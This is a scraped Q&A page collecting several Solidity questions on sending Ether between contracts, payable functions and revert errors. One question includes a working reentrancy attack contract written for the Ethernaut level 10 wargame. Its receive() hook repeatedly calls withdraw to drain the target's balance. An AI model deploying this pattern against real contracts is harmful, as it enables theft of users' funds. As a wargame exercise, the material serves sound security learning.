Solidity transaction error: The called function should be payable if you send value and the value you send should be less than your current balance - ethereum

I'm trying to send some Ether between contracts but I'm getting this error:
The transaction has been reverted to the initial state.
Note: The called function should be payable if you send value and the value you send should be less than your current balance.
Debug the transaction to get more information.
My contract:
contract test {
address public owner;
address payable public receiverContract;
constructor(address payable _receiverContract) payable{
receiverContract = _receiverContract;
owner = msg.sender;
}
function sendEther() public payable {
receiverContract.transfer(msg.value);
}
receive() external payable {
}
}
The receiver contract also has a receive() external payable function and I'm getting the error when calling sendEther() with some Ethers and after seeding the test contract with some Ethers

The message indicate that you should add a requirement to test if the user actually have the Ether he is trying to send to the contract.
address public owner;
address payable public receiverContract;
constructor(address payable _receiverContract) payable{
receiverContract = _receiverContract;
owner = msg.sender;
}
function sendEther() public payable {
require(address(this).balance > msg.value, "Not enough funds" );
receiverContract.transfer(msg.value);
}
receive() external payable {
}
} ```

Related

Solidity: Call Deposit function with value

I have a deposit smart contract (Bank) below. I can use remix entering the value and calling the Deposit function.
How can i write a smart contract to do the same (Sender) below. I tried adding the interface but I cant seem to add a value when i call the sendDeposit
//// Bank Smart Contract
pragma solidity ^0.8.0;
contract bank {
uint256 public amountIn;
function deposit() external payable returns(uint256) {
amountIn = msg.value ;
return amountIn;
}
}
///// SENDER Contract
pragma solidity ^0.8.0;
interface Receiver {
function deposit() external payable returns(uint256);
}
contract sender {
Receiver private receiver = Receiver(0x0fC5022f7B5c4Df39A836);
function sendDeposit(uint256 _amount) public payable {
receiver.deposit{value: _amount}();
}
receive() external payable {
require(msg.value > 0, "You cannot send 0 ether");
}
}
I tried writing it like this, but there is no value in the transaction send
function sendDeposit(uint256 _amount) public payable { receiver.deposit{value: _amount}(); }
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
contract Bank {
uint256 public amountIn;
function deposit() external payable returns(uint256) {
amountIn = msg.value ;
return amountIn;
}
// receive() external payable{}
function getBalance() public view returns(uint){
return address(this).balance;
}
}
interface Receiver {
function deposit() external payable returns(uint256);
}
contract Sender {
Receiver private receiver ;
constructor(address _receiver){
receiver=Receiver(_receiver);
}
function sendDeposit(uint256 _amount) public payable {
receiver.deposit{value: _amount}();
}
receive() external payable {
require(msg.value > 0, "You cannot send 0 ether");
}
}
1- Deploy the Bank contract first and copy the address
2- Deploy the Sender contract, passing the copied Bank contract
3- call sendDeposit from Sender contract, you need to pass same amout to function input and value input which is under the "Gas limit" input
4- transaction will be succcessful. call the getBalance from Bank contract

Is there a limit for executing address.call() in Solidity? If the ETH value to be sent is greater than the contract balance, will it fail?

While I was doing the level 10 of Ethernaut (Re-entrancy), I got some question about address.call() function.
I notice that if I deposit a small amount of WEI, for example, 100000 WEI, I wouldn't be able to withdraw all the contract's balance. But why so? Is there a limit that the address.call() function on the Reentrance smart contract can be executed?
Another thing that I noticed is that I only needed to check if the Reentrance contract balance wasn't 0 to be able to get all its balance. It started with 3000012015300000 WEI and I was withdrawing 1000000000000000 each time. I thought that because of that I would get only 3000000000000000 and the contract would still have 12015300000 WEI. However, I got its entire balance... So, my question is: if the _amount value is greater than address(this).balance in msg.sender.call{value: _amount}(""), Solidity will send all remaining balance of the smart contract?
Here is my code of the smart contract that succeeded on this level:
interface IReentrance {
function donate(address _to) external payable;
function balanceOf(address _who) external view returns (uint balance);
function withdraw(uint _amount) external;
}
contract Reentrancy {
IReentrance public contractToAttack;
address public owner;
uint public amount;
constructor(address _contract_address) public {
contractToAttack = IReentrance(_contract_address);
owner = msg.sender;
}
function donate() public payable {
contractToAttack.donate{value: msg.value}(address(this));
amount = msg.value;
}
function withdraw() public {
require(owner == msg.sender, "Only owner");
msg.sender.transfer(address(this).balance);
}
function getBalance() external view returns(uint) {
return address(this).balance;
}
receive() external payable {
if (address(contractToAttack).balance != 0){
contractToAttack.withdraw(amount);
}
}
}
Link to Ethernaut level 10 smart contract here.

How do I change the msg.value for my smart contract?

I am trying to make a simple contract that can display your wallet balance and send ether to another wallet in Remix IDE. I want a user to be able to change the msg.value, how do I do that in Remix besides the Value in "deploy & run transactions" menu? Thanks
pragma solidity >=0.4.22 <0.9.0;
contract Ethereum {
address private owner = msg.sender;
constructor() {
}
function getBalance() public view returns (uint256) {
return owner.balance;
}
function sendViaCall(address payable _to) public payable {
(bool sent, bytes memory data) = _to.call{value: msg.value}("");
require(sent, "Failed to send Ether");
}
}

solidity error with addr.transfer(1 ether)

Error message:
transact to Payment.deposit errored: VM error: revert.
revert The transaction has been reverted to the initial state.
Note: The called function should be payable if you send value and the value you send should be less than your current balance. Debug the transaction to get more information.
contract Payment{
address Account2;
address Owner;
constructor() public{
Account2 = 0x583031D1113aD414F02576BD6afaBfb302140225;
Owner = msg.sender;
}
function deposit() payable public{
address(uint160(Account2)).transfer(1 ether);
}
If you don't want to use msg.value then it is compulsory that your contract should have enough balance.
So you can create a fallback function in order to deposit enough ether to your contract first and then you can call your deposit() function.
Your contract after adding fallback function
pragma solidity ^0.5.1;
contract Payment{
address Account2;
address Owner;
constructor() public{
Account2 = 0x583031D1113aD414F02576BD6afaBfb302140225;
Owner = msg.sender;
}
function () payable external{}
function deposit() payable public{
address(uint160(Account2)).transfer(1 ether);
}
function getContractBalance() public view returns(uint) {
return address(this).balance;
}
}
It works without error on my remix VM.
So make sure:
The contract has a balance greater than 1 ether
If Account2 is a contract's address, then it need to have a fallback function to receive ether

How to send ether from eoa to contract

I need to send ether from externally owned account to contract.
All code I found so far looks like this
contract Contract {
mapping (address => uint) balances;
event Transfer(address indexed _from, uint256 _value);
function deposit() public returns (uint) {
balances[msg.sender] += msg.value;
Transfer(msg.sender, msg.value);
return balances[msg.sender];
}
}
But I can not understand how does it work. I thought it should look like this: we should run some send function which will take current contract address, sender address and amount.
Can someone explain me the logic behind it?
I also found the solution which correspond to this logic
contract Contract {
function pay() payable {}
}
and than call it from console like that
var contract
Contract.deployed().then(function(instance) { contract = instance; })
contract.pay.sendTransaction({from: eoa_address,to: contract_address,value: web3.toWei(amount,"ether"), gas:1000000})
But in this case sendTransaction function called outside of contact.
Is there any way of calling it like from this perspective inside contract?
to send Ether to a contract :
we could create a payable function if we need to pay to execute this function
contract Contract {
function do_somthing() payable {
action1
action2
...
}
}
if we want to just send ethers to the contract without executing any function we define the fallback function as you presented in your question :
contract Contract {
function pay() payable {}
}
the example you have provided before :
contract Contract {
mapping (address => uint) balances;
event Transfer(address indexed _from, uint256 _value);
function deposit() public returns (uint) {
balances[msg.sender] += msg.value;
emit Transfer(msg.sender, msg.value);
return balances[msg.sender];
}
}
is recording the balances sent by the users to the contract (this function needs to be declared as payable for the recent compiler : function deposit() public payable returns)
function deposit() public payable returns (uint) {
balances[msg.sender] += msg.value;
emit Transfer(msg.sender, msg.value);
return balances[msg.sender];
}